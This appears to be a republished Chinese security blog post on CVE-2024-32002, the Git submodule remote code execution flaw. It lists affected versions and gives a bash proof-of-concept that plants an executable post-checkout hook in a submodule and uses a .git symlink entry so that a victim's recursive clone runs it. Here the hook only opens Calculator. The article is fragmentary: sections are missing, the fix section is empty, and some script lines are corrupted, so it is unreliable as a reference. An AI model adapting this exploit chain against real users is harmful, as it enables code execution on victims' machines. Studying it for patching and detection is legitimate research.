一、漏洞介绍
Git 是目前世界上最流行的分布式版本控制系统。它由 Linus Torvalds 于 2005 年创建,主要用于管理 Linux 内核开发,但很快就被广泛应用于各类软件项目中。与其他版本控制系统(如 SVN 和 CVS)不同,Git 的设计初衷是为了提高速度、数据完整性和支持分布式、非线性工作流程(如多个分支)。
什么是 Git 子模块?
在软件开发中,尤其是使用 Git 进行版本控制时,有时需要将其他项目作为依赖项包含在当前项目中。Git 子模块提供了一种将一个 Git 仓库嵌入到另一个 Git 仓库中的方式。这使得我们可以在一个项目中使用另一个项目的代码,同时保持两者的独立版本控制。
CVE-2024-32002 是一个影响 Git 子模块的远程代码执行(RCE)漏洞。攻击者可以利用这个漏洞,通过诱导用户克隆一个包含恶意子模块的 Git 仓库,执行任意代码。该漏洞利用了子模块初始化和更新过程中的一个漏洞,允许在目标系统上执行恶意脚本。
影响版本:
Git 2.45.*< 2.45.1Git 2.44.*< 2.44.1Git 2.43.*< 2.43.4Git 2.42.*< 2.42.2Git 2.41.*< 2.41.1Git 2.40.*< 2.40.2Git 2.39.*< 2.39.4
二、漏洞的形成
hulk.gitsubmod.gitsmash.git
四、漏洞利用过程
-
创建恶意子模块仓库:攻击者首先创建一个包含恶意代码或脚本的 Git 仓库。 -
创建主仓库:攻击者创建另一个仓库,并将第一个仓库作为子模块包含进来。 -
诱导克隆:攻击者诱导受害者递归克隆这个包含恶意子模块的仓库。 -
执行恶意代码:当受害者克隆仓库并初始化子模块时,恶意代码会在受害者的系统上执行。
# 定义仓库路径
HULK_REPO="[email protected]:safebuffer/hulk.git"
PULLME_REPO="[email protected]:safebuffer/submod.git"
SMASH_REPO="[email protected]:safebuffer/smash.git"
# 设置HULK_REPO仓库
setup_HULK_REPO() {
rm -rf hulk*
git clone "$HULK_REPO" hulk
cd hulk/ || exit
mkdir -p y/hooks
cp ./.git/hooks/post-update.sample y/hooks/post-checkout
echo "/System/Applications/Calculator.app/Contents/MacOS/Calculator" > y/hooks/post-checkout
git add y/hooks/post-checkout
git update-index --chmod=+x y/hooks/post-checkout
git commit -m "Add executable post-checkout hook"
git push
cd ..
}
# 设置PULLME_REPO仓库
setup_pullme_repo() {
rm -rf pullme*
git clone "$PULLME_REPO" pullme
cd pullme || exit
rm -rf a* A*
git rm -r A/modules/x
git submodule add --name x/y "$HULK_REPO" A/modules/x
git commit -m "Add submodule"
printf .git > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0tan" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "Add symlink"
git push
cd ..
}
# 显示触发漏洞的命令
show_command() {
RED='33[0;31m'
GREEN='33[0;32m'
YELLOW='33[0;33m'
BLUE='33[0;34m'
NC='33[0m' # No Color
echo -e "${GREEN}触发漏洞的命令是 ${NC}:n"
echo -e "${YELLOW}git clone --recursive ${BLUE}$SMASH_REPO ${RED}GITRCE${NC}"
}
# 执行函数
setup_HULK_REPO
setup_pullme_repo
show_command
六、漏洞修复
原文始发于微信公众号(云梦安全):Git子模块RCE漏洞 (CVE-2024-32002) 漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论